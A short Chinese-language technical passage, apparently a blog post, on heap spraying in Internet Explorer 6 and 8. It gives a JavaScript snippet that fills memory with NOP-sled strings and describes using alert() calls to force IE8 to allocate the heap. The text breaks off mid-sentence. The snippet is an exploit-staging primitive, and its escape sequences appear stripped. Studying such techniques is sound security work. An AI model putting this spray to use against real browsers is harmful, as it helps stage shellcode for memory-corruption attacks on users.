JitSpray虽然才是更加可行的方式,但HeapSpray仍然是很好的学习材料。先不管DEP+ASLR等,IE8本身对堆内存分配也有一定的保护。
如下代码在IE6中可以马上分配大块内存,而在IE8中这一过程会被暂缓。
var nop="x90x90x90x90"; while(nop.length<1024*1024) nop+=nop; var mem=new Array(); for (i=0;i<200;i++) mem[i]=nop;
为了让IE8能够分配堆,需要有显式操作。如alert
alert(mem[0].length); alert(mem[0]);
或者更为隐蔽的方法